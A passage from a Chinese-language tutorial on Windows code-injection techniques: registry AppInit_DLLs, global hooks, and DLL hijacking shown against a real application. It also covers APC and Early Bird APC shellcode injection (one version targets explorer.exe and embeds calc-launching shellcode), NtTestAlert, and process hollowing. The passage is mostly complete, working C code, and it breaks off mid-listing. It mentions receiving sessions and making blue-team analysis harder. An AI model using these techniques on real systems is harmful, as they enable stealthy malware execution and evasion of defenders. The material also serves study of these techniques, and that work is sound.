	RegSetValueEx(hKey, "LoadAppInit_DLLs", 0, REG_DWORD, (const BYTE*)&LoadAppVal, sizeof(DWORD));

	RegCloseKey(hKey);

	return 0;
}

  将要注入的dll命名成test.dll,并放在c:\下。这里要着重注意的是如果靶机是64位,必须编译成64位的dll。并且还要设置运行库为多线程调试(/MTd)
  
  这个时候运行notepad提示注入成功
  
  为什么说它不稳定,是因为我实验的时候运行calc,会弹出多个注入成功的提示,至于你会不会出现这种情况,完全看具体的情况。

全局钩子

  全局钩子的效果和注册表注入效果一样,会注入进每一个进程中

  网上好多代码都是错误的,这里非常感谢袁春旭老师的讲解。在他的原话中,要安装全局钩子,那么钩子函数即SetWindowsHookEx就不能在一个DLL中。直接看代码,先编写一个dll

  dll.h

#pragma once
#include <Windows.h>

__declspec(dllexport) LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam);
__declspec(dllexport) void  SetHookVal(HHOOK hookVal);

  dll.c

#include "dll.h"

// 共享内存
#pragma data_seg("shared")
HHOOK hHook = NULL;
#pragma data_seg()
#pragma comment(linker,"/SECTION:shared,RWS")

void SetHookVal(HHOOK hookVal)
{
	hHook = hookVal;
}

LRESULT GetMsgProc(int code, WPARAM wParam, LPARAM lParam)
{
	return CallNextHookEx(hHook, code, wParam, lParam);
}

BOOL APIENTRY DllMain(HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved)
{
	switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:
		//MessageBox(0, "注入成功", 0, 0);
		break;

	case DLL_PROCESS_DETACH:
		break;
	}
	return TRUE;
}

  main.c

#include <Windows.h>
#include <stdio.h>

typedef void (*pSetHookVal)(HHOOK hookVal);

int main()
{
	HMODULE hModule = LoadLibrary("Project1.dll");
	if (!hModule) return 0;

	HOOKPROC GetMsgProc = (HOOKPROC)GetProcAddress(hModule, "GetMsgProc");
	HHOOK hHook = SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, hModule, 0);

	pSetHookVal SetHookVal = (pSetHookVal)GetProcAddress(hModule, "SetHookVal");
	SetHookVal(hHook);

	printf("已全局HOOK\n");
	system("pause");
	printf("已解除HOOK\n");
	UnhookWindowsHookEx(hHook);

	return 0;
}

  将上面的代码都编译成x64位,运行,打开记事本等应用程序,可看到dll已经被正常注入
  
  大量的程序已经被注入,试了试计算器,没注入成功
  
  按任意键解除HOOK后,等待10s左右dll已经被卸载了
  

函数转发

  函数转发的这种技术,多用于DLL劫持方面。下面的实验将会说明它的原理与过程
  创建targetdll.dll
  targetdll.c

#include <stdio.h>
#include <Windows.h>
#include "targetdll.h"

void Hello()
{
	printf("hello\n");
}

  targetdll.h

#pragma once

__declspec(dllexport) void Hello();

  test.exe

#include <stdio.h>
#include <Windows.h>

int main()
{
    // 使用生成的targetdll.dll
	HMODULE hModule = LoadLibrary("targetdll.dll");
	FARPROC Hello = GetProcAddress(hModule, "Hello");
	Hello();
	FreeLibrary(hModule);
	return 0;
}

  运行结果

hello

  现在我们要做一个fake.dll,当执行test.exe后先执行fake.dll,再执行targetdll.dll。

  要完成这一操作先要将targetdll.dll重命名成Old.dll,然后再将fake.dll重命名成targetdll.dll,这样运行test.exe将会执行原来的fake.dll。如果直接运行test.exe将会崩溃,因为它找不到原来targetdll.dll里的Hello函数,要解决这一问题,需要使用函数转发技术。

  关键指令为: #pragma comment(linker,”/export:导出函数名称=被转发的dll的名称.被转发的函数名称”)

  fake.dll

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <stdio.h>
// 关键指令: #pragma comment(linker,"/export:导出函数名称=被转发的dll的名称.被转发的函数名称")

#pragma comment(linker,"/export:Hello=Old.Hello")

BOOL APIENTRY DllMain( HMODULE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        printf("this is fake dll\n");
        break;
    }
    return TRUE;
}

  把targetdll.dll重命名成Old.dll,将生成的fake.dll重命名成targetdll.dll。放到同一目录下
  
  再次运行test.exe

this is fake dll
hello

  成功的实现了dll劫持,这是手动的方式,如果我们要劫持某个dll,此dll有上百个函数需要我们转发,手动去写个fake.dll是不可能的。AheadLib工具可以自动生成DLL劫持代码,缺点是不支持64位dll

  实验对象为HBuilderX。第一步是要找那些dll是可以被劫持的,这一步有很多文章,我就不详细说明了。这里我发现HBuilderX.dll可被劫持
  
  输入DLL选择HBuilderX.dll,原始DLL为HBuilderXOrg,点击生成,将会生成HBuilderX.cpp
  
  为了体现注入成功,将HBuilderX.cpp中的入口函数添加弹出计算器代码。注意劫持的dll如果是32位,fake.dll需要是32位的,反之亦然。即位数必须相对应!

  HBuilderX.cpp编译成fake.dll

// 入口函数
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
	if (dwReason == DLL_PROCESS_ATTACH)
	{
		DisableThreadLibraryCalls(hModule);
		// 注入成功将会弹出计算器
		system("calc");
	}
	else if (dwReason == DLL_PROCESS_DETACH)
	{
	}

	return TRUE;
}

  HBuilderX.dll重命名成HBuilderXOrg.dll,fake.dll重命名成HBuilderX.dll,放到同一目录后启动HBuilderX,弹出计算器
  
  函数转发劫持dll已经是十年前的技术了,有师傅研究出了一种通用Dll劫持技术,不再需要手工导出Dll的函数接口。SuperDllHijack,有兴趣的可以研究研究

卸载

  卸载远程进程中的dll也是非常简单的,分为两步,第一步使用CreateToolhelp32Snapshot遍历进程中的已注入的dll。

  我已经将Dll.dll注入进程pid=12308的进程

#include <Windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <TlHelp32.h>

int main()
{
	// 被注入的dll名称
	char *dllName = "Dll.dll";
	// 被注入进程的pid
	DWORD pid = 12308;

	HANDLE hModule = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid);
	MODULEENTRY32 me = {0};
	ZeroMemory(&me, sizeof(me));
	me.dwSize = sizeof(me);

	// 遍历模块信息定位已注入的dll模块
	BOOL flag = Module32First(hModule, &me);
	while (flag)
	{
        printf("%s %s\n", me.szModule, me.szExePath);
		if (strcmp(dllName,me.szModule) == 0)
		{
			break;
		}
		flag = Module32Next(hModule, &me);
	}
	printf("已找到\n");
	printf("%s %s\n", me.szModule, me.szExePath);
}

  运行结果

VCRUNTIME140D.dll C:\windows\SYSTEM32\VCRUNTIME140D.dll
ucrtbased.dll C:\windows\SYSTEM32\ucrtbased.dll
USER32.dll C:\windows\System32\USER32.dll
dwmapi.dll C:\windows\system32\dwmapi.dll
Dll.dll C:\Users\Lion\Desktop\新建文件夹\dll\Dll\Debug\Dll.dll
已找到
Dll.dll C:\Users\Lion\Desktop\新建文件夹\dll\Dll\Debug\Dll.dll

  第二步,使用远程线程注入的方法,将FreeLibrary注入进目标进程,从而释放dll

#include <Windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <TlHelp32.h>

int main()
{
	// 被注入的dll名称
	char *dllName = "Dll.dll";
	// 被注入进程的pid
	DWORD pid = 12308;

	HANDLE hModule = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, pid);
	MODULEENTRY32 me = {0};
	ZeroMemory(&me, sizeof(me));
	me.dwSize = sizeof(me);

	// 遍历模块信息定位已注入的dll模块
	BOOL flag = Module32First(hModule, &me);
	while (flag)
	{
		if (strcmp(dllName,me.szModule) == 0)
		{
			break;
		}
		flag = Module32Next(hModule, &me);
	}
	
	HANDLE hProcess = OpenProcess(PROCESS_CREATE_THREAD, FALSE, pid);
	if (!hProcess) return 0;

	FARPROC funAddr = GetProcAddress(GetModuleHandle("kernel32.dll"), "FreeLibrary");
    // 远程线程执行FreeLibrary
	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)funAddr, me.modBaseAddr, 0, NULL);
}

  触发DLL_PROCESS_DETACH里的MessageBox(0, L"注入结束", 0, 0),成功卸载dll
  

APC

  APC(Asynchronous Procedure Calls,异步过程调用),APC是函数在特定的线程被异步执行。在Windows中APC是一种并发机制,用于异步的IO或定时器。当处于用户模式的APC压入线程APC队列后,该线程并不直接调用APC函数,除非该线程处于可通知状态,调用的顺序为先入先出。

  只有当一个线程内部调用SleepExSignalObjectAdndWaitWaitForSingleObjectExWaitForMultioleObjectsEx 等特定函数将自己处于挂起状态时,才会执行APC队列函数,在整个执行过程中,线程并无任何异常举动,不容易被察觉,但缺点是对于单线程程序一般不存在挂起状态。

  每一个线程都有自己的APC队列(APC queue),可以使用APIQueueUserAPC从而将一个APC插入到线程的APC队列中。线程会调用QueueUserAPC中指定的函数。只有将一个APC放入了线程的APC队列中,线程才有机会调用对应的APC函数。

  APC(Asynchronous Procedure Calls,异步过程调用),表示在指定线程上下文中异步调用一个函数(APC其实是通过向线程中插入回调函数来实现的,当线程调用上述API时,会触发APC的回调函数,执行回调函数的代码)。

  apc调用例子

#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>

VOID ApcTest() 
{
    printf("ApcTest1\n");
}

VOID ApcTest2() 
{
    printf("ApcTest2\n");
}

int main()
{
    HANDLE hThread = GetCurrentThread();
    FARPROC NtQueueApcThread = (NTSTATUS(NTAPI*)(HANDLE, PVOID, PVOID, PVOID, ULONG)) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueueApcThread");
    // 将当前线程加入apc队列
    NtQueueApcThread(hThread, &ApcTest, 0, 0, 0);
    printf("Add pac1\n");
    NtQueueApcThread(hThread, &ApcTest2, 0, 0, 0);
    printf("Add pac2\n");
    // 执行apc函数
    SleepEx(3, TRUE);
    printf("check the apc\n");
}

  运行结果

Add pac1
Add pac2
ApcTest1
ApcTest2
check the apc

  如果将SleepEx(3, TRUE)改为SleepEx(3, TRUE),运行结果如下

Add pac1
Add pac2
check the apc

  继续用上面的例子,这次调换下SleepEx(3, TRUE);位置

#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>

VOID ApcTest() 
{
    printf("ApcTest1\n");
}

VOID ApcTest2() 
{
    printf("ApcTest2\n");
}

int main()
{
    HANDLE hThread = GetCurrentThread();
    FARPROC NtQueueApcThread = (NTSTATUS(NTAPI*)(HANDLE, PVOID, PVOID, PVOID, ULONG)) GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtQueueApcThread");
    // 将当前线程加入apc队列
    NtQueueApcThread(hThread, &ApcTest, 0, 0, 0);
    printf("Add pac1\n");
    // 执行apc函数
    SleepEx(3, TRUE);
    NtQueueApcThread(hThread, &ApcTest2, 0, 0, 0);
    printf("Add pac2\n");
    printf("check the apc\n");
}

  运行结果

Add pac1
ApcTest1
Add pac2
check the apc

  从上面的例子,可以清楚的知道什么是apc了。我的理解是apc就是一个线程队列,将一个线程加入进apc后。当触发了apc,会先执行apc函数。再次强调这部分是我的理解,很有可能有误。执行流程应该如下所示

apc队列(线程1,线程2)   
触发apc函数后,执行线程1的函数
线程1出队
apc队列(线程2)
触发apc函数后,执行线程2的函数
线程2出队
apc队列()
执行完毕

  当前进程执行apc注入

#include <stdio.h>
#include <Windows.h>

int main()
{
    unsigned char buf[] = "";
	LPVOID shellAddress = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    memcpy(shellAddress, buf,sizeof(buf));
	QueueUserAPC((PAPCFUNC)shellAddress, GetCurrentThread(), NULL);
    SleepEx(3000, TRUE);
	return 0;
}

  远程进程apc注入的流程,这里注入进explorer.exe
  1.获取目标进程的PID,并向目标进程写入shellcode。

#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <TlHelp32.h>
#include <comdef.h>

// 获取PID
DWORD GetPid(char name[],int * cntThreads)
{
    // 创建进程快照
    HANDLE hSnapshotProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    // 句柄无效
    if (!hSnapshotProcess) return -1;

    // 快照信息结构体
    PROCESSENTRY32 pe;
    ZeroMemory(&pe, sizeof(pe));
    pe.dwSize = sizeof(pe);

    BOOL flag = Process32First(hSnapshotProcess, &pe);
    while (flag)
    {
        // 已成功找到进程
        if (strcmp(_bstr_t(pe.szExeFile), name) == 0)
        {
            // 获取线程数
            *cntThreads = pe.cntThreads;
            // 返回对应PID
            CloseHandle(hSnapshotProcess);
            return pe.th32ProcessID;
        }
        flag = Process32Next(hSnapshotProcess, &pe);
    }

    CloseHandle(hSnapshotProcess);

    return -1;
}

// 启用调试权限
BOOL EnableDebugAbility()
{
    // 令牌句柄
    HANDLE hProcessToken = NULL;
    // 1.打开进程访问令牌
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hProcessToken))
    {
        printf("error open process token\n");
        return FALSE;
    }

    // 2.取得SeDebugPrivilege特权的LUID值
    LUID luid;
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
    {
        printf("error lookup value\n");
        return FALSE;
    }

    // 3.调整访问令牌特权
    TOKEN_PRIVILEGES token;
    token.PrivilegeCount = 1;
    token.Privileges[0].Luid = luid;
    // 使特权有效
    token.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if (!AdjustTokenPrivileges(hProcessToken, FALSE, &token, 0, NULL, NULL))
    {
        printf("error adjust token\n");
        return FALSE;
    }

    CloseHandle(hProcessToken);
    return TRUE;

}

int main()
{

    // 获取调试权限
    BOOL bRet = EnableDebugAbility();
    if (!bRet) return 0;

    unsigned char shellcode[] = "";

    char processName[] = "explorer.exe";
    // 目标进程线程数
    int cntThreads = 0;
    // 目标进程pid
    DWORD pid = GetPid(processName,&cntThreads);
    if (pid == -1 || cntThreads <= 0) return 0;

    // 打开目标进程
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) return 0;
    // 分配空间
    LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!lpAddress) return 0;
    // 写入shellcode
    bRet = WriteProcessMemory(hProcess, lpAddress, shellcode, sizeof(shellcode), NULL);
    if (!bRet) return 0;

}

  为了注入成功,我们应该尽可能的让所有线程都执行apc函数

  2.获取目标进程中的所有线程并保存进数组中,这里要用到线程结构体THREADENTRY32

typedef struct tagTHREADENTRY32
{
    DWORD   dwSize;					// 结构体的大小 必须初始化为sizeof(THREADENTRY32)
    DWORD   cntUsage;				// 不用 总是设置为0
    DWORD   th32ThreadID;       	// 线程ID
    DWORD   th32OwnerProcessID;		// 所属进程ID
    LONG    tpBasePri;				// 线程的初始优先级
    LONG    tpDeltaPri;				// 不用 总是设置为0
    DWORD   dwFlags;				// 不用 总是设置为0
} THREADENTRY32,*PTHREADENTRY32;;

  创建线程快照,就是将CreateToolhelp32Snapshot中的dwFlags设置为TH32CS_SNAPTHREAD

// 获取线程快照
HANDLE hSnapshotThread = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0)

  遍历线程要用到两个函数Thread32FirstThread32Next

BOOL Thread32First(
	HANDLE          hSnapshot,		// 线程快照句柄
	LPTHREADENTRY32 lpte			// 线程信息结构体
);									// 成功返回非0 失败返回0
BOOL Thread32Next(
	HANDLE          hSnapshot, 		// 线程快照句柄
	LPTHREADENTRY32 lpte			// 线程信息结构体
);									// 成功返回非0 失败返回0

  3.将每个线程都加入进行apc队列,并执行shellcode,将线程添加到APC队列,要用到QueueUserAPC

DWORD QueueUserAPC(
	PAPCFUNC  pfnAPC,	// APC函数指针
	HANDLE    hThread,	// 线程句柄,此句柄必须有THREAD_SET_CONTEXT权限
	ULONG_PTR dwData	// 传到pfnAPC参数指向的APC函数的值
);						// 成功返回非0

  示例

#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <TlHelp32.h>
#include <comdef.h>

// 获取PID
DWORD GetPid(char name[],int * cntThreads)
{
    // 创建进程快照
    HANDLE hSnapshotProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    // 句柄无效
    if (!hSnapshotProcess) return -1;

    // 快照信息结构体
    PROCESSENTRY32 pe;
    ZeroMemory(&pe, sizeof(pe));
    pe.dwSize = sizeof(pe);

    BOOL flag = Process32First(hSnapshotProcess, &pe);
    while (flag)
    {
        // 已成功找到进程
        if (strcmp(_bstr_t(pe.szExeFile), name) == 0)
        {
            // 获取线程数
            *cntThreads = pe.cntThreads;
            // 返回对应PID
            CloseHandle(hSnapshotProcess);
            return pe.th32ProcessID;
        }
        flag = Process32Next(hSnapshotProcess, &pe);
    }

    CloseHandle(hSnapshotProcess);

    return -1;
}

// 启用调试权限
BOOL EnableDebugAbility()
{
    // 令牌句柄
    HANDLE hProcessToken = NULL;
    // 1.打开进程访问令牌
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hProcessToken))
    {
        printf("error open process token\n");
        return FALSE;
    }

    // 2.取得SeDebugPrivilege特权的LUID值
    LUID luid;
    if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid))
    {
        printf("error lookup value\n");
        return FALSE;
    }

    // 3.调整访问令牌特权
    TOKEN_PRIVILEGES token;
    token.PrivilegeCount = 1;
    token.Privileges[0].Luid = luid;
    // 使特权有效
    token.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

    if (!AdjustTokenPrivileges(hProcessToken, FALSE, &token, 0, NULL, NULL))
    {
        printf("error adjust token\n");
        return FALSE;
    }

    CloseHandle(hProcessToken);
    return TRUE;

}

// 执行代码
BOOL RunCode(LPVOID lpAddress,DWORD pid)
{
    // 创建线程快照
    HANDLE hSnapshotThread = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    // 句柄无效
    if (!hSnapshotThread) return FALSE;

    // 线程信息结构体
    THREADENTRY32 te;
    ZeroMemory(&te, sizeof(te));
    te.dwSize = sizeof(te);

    // 遍历线程
    BOOL flag = Thread32First(hSnapshotThread, &te);
    while (flag)
    {
        // 获取进程对应的线程ID
        if (te.th32OwnerProcessID == pid)
        {
            // 获取线程句柄
            HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te.th32ThreadID);
            // 加入APC队列
            if (hThread && QueueUserAPC((PAPCFUNC)lpAddress, hThread, NULL))
            {
                // 挂起3s
                SleepEx(3000, TRUE);
                printf("running code\n");
                CloseHandle(hThread);
            }
        }
        flag = Thread32Next(hSnapshotThread, &te);
    }
    return TRUE;
}

int main()
{
    // 获取调试权限
    BOOL bRet = EnableDebugAbility();
    if (!bRet) return 0;

    unsigned char shellcode[] = "";

    char processName[] = "explorer.exe";
    // 目标进程线程数
    int cntThreads = 0;
    // 目标进程pid
    DWORD pid = GetPid(processName,&cntThreads);
    if (pid == -1 || cntThreads <= 0) return 0;
   
   
    // 打开目标进程
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProcess) return 0;
    // 分配空间
    LPVOID lpAddress = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!lpAddress) return 0;
    // 写入shellcode
    bRet = WriteProcessMemory(hProcess, lpAddress, shellcode, sizeof(shellcode), NULL);
    if (!bRet) return 0;

    // 执行代码
    bRet = RunCode(lpAddress, pid);
    if (!bRet) return 0;

    
    CloseHandle(hProcess);
}

  会收到大量的session
  

Early Bird APC

  此注入手法和前面的APC注入更简单,大致流程就是将创建一个挂起的进程,然后将此线程加入apc队列,最后恢复线程。代码胜千言,非常简单,不多描述了。运行一下代码,弹出计算器。

#include <Windows.h>
#include <stdio.h>

int main()
{
    // 执行计算器的shellcode
    unsigned char shellcode[] =
        "\x55\x64\x8B\x35\x30\x00\x00\x00\x8B\x76\x0C\x8B\x76"
        "\x1C\x8B\x6E\x08\x8B\x7E\x20\x8B\x36\x38\x4F\x18\x75"
        "\xF3\x8B\xFD\x83\xEC\x64\x8B\xEC\x8B\x47\x3C\x8B\x54"
        "\x07\x78\x03\xD7\x8B\x4A\x18\x8B\x5A\x20\x03\xDF\x49"
        "\x8B\x34\x8B\x03\xF7\xB8\x47\x65\x74\x50\x39\x06\x75"
        "\xF1\xB8\x72\x6F\x63\x41\x39\x46\x04\x75\xE7\x8B\x5A"
        "\x24\x03\xDF\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDF\x8B"
        "\x04\x8B\x03\xC7\x89\x45\x4C\x6A\x00\x68\x61\x72\x79"
        "\x41\x68\x4C\x69\x62\x72\x68\x4C\x6F\x61\x64\x54\x57"
        "\xFF\x55\x4C\x89\x45\x50\x6A\x00\x68\x65\x73\x73\x00"
        "\x68\x50\x72\x6F\x63\x68\x45\x78\x69\x74\x54\x57\xFF"
        "\x55\x4C\x89\x45\x54\x6A\x00\x68\x72\x74\x00\x00\x68"
        "\x6D\x73\x76\x63\x54\xFF\x55\x50\x8B\xF8\x6A\x00\x68"
        "\x65\x6D\x00\x00\x68\x73\x79\x73\x74\x54\x57\xFF\x55"
        "\x4C\x89\x45\x5C\x6A\x00\x68\x63\x61\x6C\x63\x54\xFF"
        "\x55\x5C\xFF\x55\x54\xC3\xCC";

    STARTUPINFO si = { 0 };
    PROCESS_INFORMATION pi = { 0 };
    si.cb = sizeof(si);

    // 创建挂起的cmd进程
    CreateProcessA(NULL, "cmd", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    
    // 分配一块内存空间
    LPVOID lpAddress = VirtualAllocEx(pi.hProcess,NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    if (!lpAddress) return 0;

    // 写入shellcode
    WriteProcessMemory(pi.hProcess, lpAddress, shellcode, sizeof(shellcode), NULL);
    // 将此线程加入apc队列
    QueueUserAPC((PAPCFUNC)lpAddress, pi.hThread, NULL);

    // 恢复线程
    ResumeThread(pi.hThread);

    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);

}

NtTestAlert

  NtTestAlert是一个未公开的Win32函数,该函数的效果是如果APC队列不为空的话,其将会直接调用函数

#include <Windows.h>
#pragma comment(lib, "ntdll")

typedef NTSTATUS (NTAPI *pNtTestAlert)();

int main()
{
	unsigned char buf[] = "";
	pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), "NtTestAlert"));
	SIZE_T size = sizeof(buf);
	LPVOID lpAddress = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE);
	WriteProcessMemory(GetCurrentProcess(), lpAddress, buf, size, NULL);
	PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)lpAddress;
	QueueUserAPC((PAPCFUNC)apcRoutine, GetCurrentThread(), 0);
	NtTestAlert();
	
	return 0;
}

镂空进程

  镂空进程原英文名叫Process Hollowing。核心是进程的隐藏与伪装。主要思想是卸载合法进程的内存,写入恶意软件的代码,伪装成合法进程进行恶意活动。同时它也是RunPE的一种技巧

  虽然目前为止,镂空进程出现了非常多的变形,但是它们的执行流程,大致是没变的

  1.创建一个挂起的合法进程
  2.获取挂起进程上下文与环境信息
  3.修改挂起进程内存
  4.写入恶意程序代码
  5.恢复挂起进程

  创建一个挂起进程为notepad.exe

STARTUPINFOA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
ZeroMemory(&si, sizeof(si));
ZeroMemory(&pi, sizeof(pi));

// 创建挂起进程
BOOL bRet = CreateProcess(NULL, "notepad", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
if (!bRet) return 0;
printf("CreateProcess Success\n");

  使用GetThreadContext获取进程的线程上下文后,ReadProcessMemory 获取目标进程的基地址(ImageBase)。注意32位是从Ebx读取,64位是从Rdx读取

// 获取挂起进程上下文信息
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx); 

// 保存挂起进程的基地址
PVOID remoteImageBase = NULL;
	
#ifdef _WIN64
	// 64位从rdx寄存器获取
	DWORD64 addr = ctx.Rdx;
#else
	// 32位从ebx寄存器获取
	DWORD addr = ctx.Ebx;
#endif

// 获取挂起进程基地址
bRet = ReadProcessMemory(pi.hProcess, (PVOID)(addr + sizeof(SIZE_T) * 2), &remoteImageBase, sizeof(PVOID), NULL);
if (!bRet) return 0;
printf("remoteImageBase %p\n", remoteImageBase);

  32位基地址
  
  64位基地址
  
  不论是32位还是64位都能成功获取到基地址。获取到挂起进程的基地址后。使用微软未文档化的 APINtUnmapViewOfSection清空挂起进程的内存数据。

// 读取恶意软件内容
char path[] = "C:\\Users\\Lion\\Desktop\\HelloWorld.exe";
HANDLE hFile = CreateFile(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
DWORD fileSize = GetFileSize(hFile, NULL);
char* fileBuffer = (char *)malloc(sizeof(char) * fileSize);
ReadFile(hFile, fileBuffer, fileSize, NULL, NULL);
CloseHandle(hFile);

// 获取Dos头
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)fileBuffer;
// 获取NT头
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)&fileBuffer[pDosHeader->e_lfanew];
// 获取可选PE头
PIMAGE_OPTIONAL_HEADER pOptionHeader = &pNtHeader->OptionalHeader;

// 获取NtUnmapViewOfSection函数地址
pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");

// 判断文件预期地址是否被挂起进程占用
if (pOptionHeader->ImageBase == (SIZE_T)remoteImageBase)
{
    NtUnmapViewOfSection(pi.hProcess, remoteImageBase); // 清空挂起进程内存数据
}

  关于为什么要判断一下预期地址是否被占用,请参考使用HOLLOWFIND插件检测镂空进程。说白了就是增加蓝队分析的难度,当然也可以不判断直接清空内存数据

  之后再向挂起进程分配一块空间,空间大小要容下恶意软件加载进内存后的大小,即空间大小=pOptionHeader->SizeOfImage。特别强调的是分配空间的首地址也不是乱选的,首地址 = pOptionHeader->ImageBase。这样做的目的是,后面不再修复IAT表和重定位表。参考Process Hollowing不需要填充IAT表和进行重定位的原因

// 向挂起进程分配空间
LPVOID lpAddress = VirtualAllocEx(pi.hProcess, (PVOID)pOptionHeader->ImageBase, pOptionHeader->SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (!lpAddress) return 0;
printf("lpAddress %p\n", lpAddress);

  可看到在400000地址处分配了内存空间
  
  成功分配后,将恶意程序的内容写入前面分配的空间中,先写入文件头

WriteProcessMemory(pi.hProcess, (LPVOID)lpAddress, fileBuffer, pOptionHeader->SizeOfHeaders, NULL);

  成功写入PE头
  
  再依次将各节写入

// 获取节
PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)IMAGE_FIRST_SECTION(pNtHeader);
// 循环拷贝各节
for (int i = 0; i < pNtHeader->FileHeader.NumberOfSections; i++,pSectionHeader++)
{
    if (pSectionHeader->SizeOfRawData != 0)
    {
        LPVOID lpBaseAddress = (LPBYTE)lpAddress + pSectionHeader->VirtualAddress;
        WriteProcessMemory(pi.hProcess, lpBaseAddress, fileBuffer + pSectionHeader->PointerToRawData, pSectionHeader->SizeOfRawData, NULL);
        printf("SectionAddress %p\n", lpBaseAddress);
    }
}

  将最后一节写入40D000
  
  查看磁盘上恶意文件最后一节的内容,和上图内存中的内容相匹配
  
  至此恶意软件的数据已经全部注入到挂起进程中了,之后设置挂起进程的入口点为恶意软件的入口点,恢复线程即可

// 获取挂起进程的入口点
#ifdef _WIN64
    // 64位从Rcx寄存器获取
    DWORD64* addressOfEntryPoint = &ctx.Rcx;
    addr = ctx.Rdx;
#else
    // 32位从Eax寄存器获取
    DWORD* addressOfEntryPoint = &ctx.Eax;
    addr = ctx.Ebx;
#endif

// 改变入口点
* addressOfEntryPoint = (SIZE_T)((LPBYTE)lpAddress + pOptionHeader->AddressOfEntryPoint);
WriteProcessMemory(pi.hProcess, (PVOID)(addr + sizeof(SIZE_T) * 2), &pOptionHeader->ImageBase, sizeof(PVOID), NULL);

// 设置线程上下文
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);	// 恢复线程

  成功加载我写的HelloWorld.exe
  
  完整代码

#include <Windows.h>
#include <stdio.h>

// 定义NtUnmapViewOfSection
typedef NTSTATUS(NTAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);

int main()
{
	STARTUPINFOA si = { 0 };
	PROCESS_INFORMATION pi = { 0 };
	ZeroMemory(&si, sizeof(si));
	ZeroMemory(&pi, sizeof(pi));

	// 创建挂起进程
	BOOL bRet = CreateProcess(NULL, "notepad", NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
	if (!bRet) return 0;
	printf("CreateProcess Success\n");

	// 获取挂起进程上下文信息
	CONTEXT ctx;
	ctx.ContextFlags = CONTEXT_FULL;
	GetThreadContext(pi.hThread, &ctx);

	// 保存挂起进程的基地址
	PVOID remoteImageBase = NULL;

#ifdef _WIN64
	// 64位从rdx寄存器获取
	DWORD64 addr = ctx.Rdx;
#else
	// 32位从ebx寄存器获取
	DWORD addr = ctx.Ebx;
#endif

	// 获取挂起进程基地址
	bRet = ReadProcessMemory(pi.hProcess, (PVOID)(addr + sizeof(SIZE_T) * 2), &remoteImageBase, sizeof(PVOID), NULL);
	if (!bRet) return 0;
	printf("remoteImageBase %p\n", remoteImageBase);

	// 读取恶意软件内容
	char path[] = "C:\\Users\\Lion\\Desktop\\HelloWorld.exe";
	HANDLE hFile = CreateFile(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
	DWORD fileSize = GetFileSize(hFile, NULL);
	// fileBuffer 存放恶意软件内容
	char* fileBuffer = (char*)malloc(sizeof(char) * fileSize);
